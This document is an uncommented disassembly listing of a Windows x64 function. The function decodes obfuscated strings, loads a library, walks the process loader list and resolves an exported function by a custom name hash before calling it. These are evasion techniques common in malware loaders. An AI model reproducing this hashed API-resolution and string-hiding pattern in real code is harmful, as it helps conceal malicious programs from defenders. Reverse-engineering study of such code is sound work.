pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.SHUYQ_r_rn_._D]
xorps xmm2, xmm0
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x140006520]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140002f60
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
mov rax, qword gs:[0x60]
mov r9, qword [rax + 0x18]
add r9, 0x10
mov qword [rbp + 0x220], r9
xor esi, esi
mov rcx, qword [r9]
mov qword [rbp + 0x210], rcx
cmp rcx, r9
je 0x140003334
nop dword [rax + rax]
cmp qword [rcx + 0x60], 0
je 0x140003102
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x140003102
movsxd r8, dword [rdi + 0x3c]
mov r15, qword [r8 + rdi + 0x88]
mov rdx, r15
shr rdx, 0x20
mov r13d, r15d
add r13, rdi
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x1400032e8
mov eax, 0x20b
cmp word [r8 + rdi + 0x18], ax
jne 0x140003024
test edx, edx
je 0x140003102
xor ebx, ebx
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x1400030f9
mov ecx, dword [r13 + 0x20]
lea rax, [rdi + rbx*4]
mov r11d, dword [rax + rcx]
add r11, rdi
mov eax, 0x2beaf37
xor r10d, r10d
movzx r9d, byte [r11]
test r9b, r9b
je 0x1400030b6
mov r12d, eax
nop word [rax + rax]
movzx r8d, r9b
sub r9b, 0x41
lea ecx, [r8 + 0x20]
movzx edx, cl
cmp r9b, 0x19
cmova edx, r8d
movsx r8d, dl
lea edx, [r10 + 0x2beaf37]
imul edx, r8d
xor eax, r8d
add eax, edx
mov ecx, r10d
test r10d, r10d
cmove ecx, r12d
xor ecx, r12d
imul eax, ecx
add eax, r8d
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140003060
mov r12d, dword [r13 + 0x18]
cmp eax, 0x84394747
je 0x1400030c2
inc ebx
cmp ebx, r12d
jae 0x1400030eb
jmp 0x140003033
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + rbx*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
shr r15, 0x20
add r15, r13
cmp rsi, r13
jb 0x1400030eb
cmp rsi, r15
jb 0x14000311a
mov rcx, qword [rbp + 0x210]
mov r9, qword [rbp + 0x220]
test rsi, rsi
jne 0x1400031b2
mov rcx, qword [rcx]
mov qword [rbp + 0x210], rcx
cmp rcx, r9
je 0x140003334
jmp 0x140002fd0
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14000314e
nop word [rax + rax]
inc rsi
mov rax, rsi
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x140003130
movzx r8d, byte [rax]
mov ebx, 0x2beaf37
mov r9d, ebx
xor r10d, r10d
test r8b, r8b
je 0x1400031a7
nop
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x2beaf37]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x140003160
mov edx, r9d
call fcn.140003970
mov rsi, rax
lea rax, [rbp + 0x288]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x50]
call rsi
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x14000323d
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003238
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003238
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044a4
movdqa xmm0, xmmword [0x1400064f0]
movdqu xmmword [rbp + 0x260], xmm0
mov byte [rbp + 0x250], 0
mov rcx, qword [rbp + 0x230]
test rcx, rcx
je 0x1400032ae
mov rdx, qword [rbp + 0x238]
call fcn.1400036e0
mov rdx, qword [rbp + 0x240]
mov rcx, qword [rbp + 0x230]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044a4
mov eax, 5
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.140004130
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rsp + 0x68]
call fcn.1400012c0
lea rdx, [0x140007328]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rsp + 0x68]
call fcn.1400012c0
lea rdx, [0x140007328]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001200
nop
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rsp + 0x68]
call fcn.1400012c0
lea rdx, [0x140007328]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rsp + 0x68]
call fcn.1400012c0
lea rdx, [0x140007328]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1400012a0
int3